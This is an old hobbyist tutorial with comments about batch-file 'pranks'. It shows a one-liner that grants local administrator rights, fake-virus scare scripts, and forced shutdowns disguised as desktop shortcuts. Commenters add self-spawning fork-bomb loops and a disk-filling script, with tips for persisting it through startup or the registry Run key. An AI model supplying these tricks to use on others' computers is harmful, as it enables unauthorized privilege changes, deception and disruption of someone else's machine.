ok script kiddies and pros alike, its time for my third instructable. before i start, i wanna tell you guys something. I want to hear what YOU guys would like to see next. if you have a fun idea for a batch file, email it to g_colonna@sympatico.ca with batch idea in the subject line. i will pick the very / most legal :P one and post how to make it as an instructable for my 4th. if you leave your instructables name, i'll credit you for concept both in the file and on the instructable itself! _ anyway, now im just gonna show you a few things you can do with some simple (some are even one liners) batch files. NOTE: im not telling you how to use these, some skilled (and maybe unskilled) people might use this for malicious purposes, but that is not the intent. this is for education purposes only. first person to guess what song im listening to gets a cookie ( name and artist >_<)

Step 1: Fun Thing #1

this can be more / less fun depending on who / how you use it :D
its a simple one liner:

you type: net localgroup administrators USERNAME /add
you can also use /delete at the end. this makes the username you typed into an admin :O if you use /delete on an admin's username, it makes them a normal user >:O. (see pic)

Step 2: Fun Thing # 2

of course, theres the slightly-more-legal-but-still-annoying-fun field of pranking your friends. these work really well of someone who isn't that computer smart. Of course these are all harmless and will cause no damage. The worst thing that could possibly happen is their computer freezes. they restart. its fine. yippee.

Try this:
@echo off
echo You have been infected.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo The virus will now proceed to delete your entire hard drive.....thank you for being patient...
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
msg * press ok to stop the virus
msg * haha i lied. the virus will now continue :D have a nice day.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo deleting.......
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul

what it looks like:

Step 3: Ah the Evil One.

This one can be especially mean if you screw with it too much.
There are many variations, because its only one line. all you do is type:

shutdown -f -s -c "your message here".

This will shutdown the computer when run, displaying a timer and a message of your choice.
if you accidentally run this program on yourself, go and type shutdown -a in the command prompt. this aborts the forced shutdown.

see the -f -s -c part? those are arguments. you can use those and the ones in the list below in any combination you like.

-s <- this shuts down the computer
-r <- this restarts the computer
-l <- this logs off the user
-f <- this forces all programs running to shutdown
-t <- this is the time limit until shutdown (the time is in seconds so -t 60 means 60 seconds until the shutdown commences )
try not to mix -s and -r and -l, only use one at a time, as i cannot guarantee what happens when you mix them.

Now you're probably like WTF? i don't know how to use this in a batch file.....no ones dumb enough to run it.....

Solution: Create a shortcut on the desktop, and give it a nice icon / name (something a curious friend will open)
In the box where it says location type your shutdown code (the above stuff)
*curious friend opens it* and his computer shuts down :D
another solution
Tha code:

@echo off
echo you've been infected with a fun little virus that will now wipe out your computer.
echo please wait .........
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo done!
pathping localhost -q 2 -p 250 > nul
shutdown -f

This closes all their programs, making them think thier drives are wiped :P

Step 4: Just a Reminder

AGAIN: SEND ANY IDEAS FOR A NEW BATCH RELATED (hell, any idea is good, even non batch) INSTRUCTABLE AND I WILL PUBLISH IT (batch preferred though, im really good at that and will get done faster). AGAIN, YOUR NAME WILL BE MENTIONED :D

Dead line is august 27nd. no entries accepted on the 28th.

send ideas here with subject line batch idea:

<p>You know this doesn't work right? It isn't using the right protocol.

use this one : The most annoying one that I made when I was in college :) @echo off :lbl start goto lbl Hv Fun >:P !
<p>You can do this with </p><p>:start </p><p>start</p><p>start</p><p>start</p><p>start</p><p>start</p><p>goto :start</p><p>VERY ANNOYING</p>
no offense, but that isn't even a fork bomb :) its just a bit annoying, can easily be ended in taskmanager or just tskill in CMD :D (since the filename is used as the process name as well) :3
No offence 2 u mate 2 ! It's just a batch script , having 3 lines of code not a virus, so it can't be a FORK Bomb at all..., but is well enough to annoy you when a hoard of cmd screens pop-up in front of you, which can't be closed by pressing down Alt+F4. also, try switching on your taskmgr after executing this batch script, then I guess that it'll be pretty difficult to even bring up taskmgr at all. & even if it comes up, terminating all the cmd's will be a tedious task. It's just for fun & is not meant to do any harm to anyone... :P Though if you want fork bombs, then those also can be made... but with not 3 lines of code ... :)
i know. but i call it a fork bomb because it split itself into 2 (only in a sense) and forks out, like a fork in the road. :3
??????? wht was tht ?
Meaning the number of windows opening increases at an exponential rate.
<p>Is this a fork bomb?</p><p>1. @echo off</p><p>2. :begin</p><p>3.start (this file) virus.bat</p><p>4. goto begin</p><p>and add more #3s then you will have a short but efficient fork bomb that windows does not detect because it is only opening a program.</p>
<p>Fork bomb would be like:</p><p>@echo off<br>:start<br>goto start</p><p>It Starts the CMD thousands of times until the RAM is bogged down enough so that you have to do a hard-shutdown to recover the computer.</p>
read it again. i won't explain any simpler. -.-
<p>No offense but is this not a fork bomb 1. @echo off</p><p>2. :begin</p><p>3.start (this file) virus.bat</p><p>4. goto begin</p><p>This is four lines and it opens itself then repeats with the new file opening itself and so on and so forth. Also you said your line was 3 lines when it is 4.</p>
Thats why you make<br><br>@echo off<br>start tryandclosethis.bat<br>exit<br><br>have fun trying to end task this...
I am not here to spread viruses or damaging forks ! As the title clearly states "fun things to do with batch files" the aim was to create some fun with bat files. If you are looking for damaging stuff I suggest you search some other warez posts on the web - this forum is definitely the wrong one.
HAHAHAHA I WIN! i figured out how to get out of it without shutting down! i just open the file, then hit ctrl + c rapidly for like 5 secs (idk if its needed) then held ctrl + c and they would pretty much close as fast as they oppen then u just have to exit the first window that popped up (while holding ctrl +c)
Nice... but after how many tries u did this :) ? But yes anyways, it's just a prank, u can close all the cmd windows if your taskmgr is open. No harm in actual is done with this :) nice go noobererer :)
second try :P GO ME! lol yeh but no matter who u do this too it will have atleast like 50 windows open before they manage to stop it :P
hmm ... there are other load of pranks I hv made, will post 'em later on, hv been busy in my stupid daily job :'(
Sweet! Can't wait to see 'em :)
Ah, but you're wrong there, if it makes a copy of itself and opens the copy of itself. You're system will crash double quick now....... <br /> (muhahahaha!)<br />
Here's a better one that will turn the most powerful PC into a sluggish 286 as well as filling up the local hard disk :) @echo off echo 0 >> dump.log %0 he, he, he
Nice :)
what does that do? Looks good, but i'm in no way to test it
indefinite loop that sends out "0" to an ever growing log file
i wanna prank my friend how long would the process take and how would the windows and such work?
if you look closely at the script you'll notice its only sending out one character to the log followed by appending another character to the log (i.e its now two characters) and so on... The time it will take all depends on the size of the hard disk. Also note the if the disk is formatted with fat32 this will only work up to 4Gb. If the hdd is formatted using NTFS the limit is 16Tb. The thing to do is to add this little script to the windows startup of even add a registry entry to the "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run" (Please do NOT hack your registry unless you know exactly what you do - you may damage your system for good) (You can also add a shortcut that minimizes the the terminal window. As some other posts suggested - its really simple to end this task off by hitting CTRL-D so don't expect to much out of this.
lol i told him it was an installation, but how would it show up as? a cmd with 0s?
that ones annoying as hell i just did it on my computer and had to restart it is there any cure besides shutting down
<p>https://www.instructables.com/id/Batch-pc-speed-up-tool/</p><p>This saved me 140 megabytes of space</p>
<p>i sent you an email about a batch AI if your still taking ideas.</p>
<p>Much, much, simpler way of crashing the pc: <br><br>:start %0<br>%0<br><br>That's it, and pop that into the startup folder and you'll have to go delete it from another account or in safe mode, great prank on friends.</p>
<p>Well,.. this is all what ever. I wanted to know of something useful I could do with making batch files, I am at best a novice, but I don't wish to prank, or confuse the system. I am looking to do something more than present a message/add color/pause/execute (a) program(s)/end...Perhaps if I could get a list of every command (is that possible?). Thank you, and reply if you have this knowledge. </p><p>My idea of something cool is to make my computer do an algorithm that would carry out a procedure/task that is unique and useful. Hmm, Is there a way I can open a program and also perform some duty in the program opened by the .bat with the .bat, per adventure it was my audio player, when it's executed by the batch file can I also make the batch start playing the media that is shown when my audio player opens? Might sound lazy but it would help when time is limited. </p>
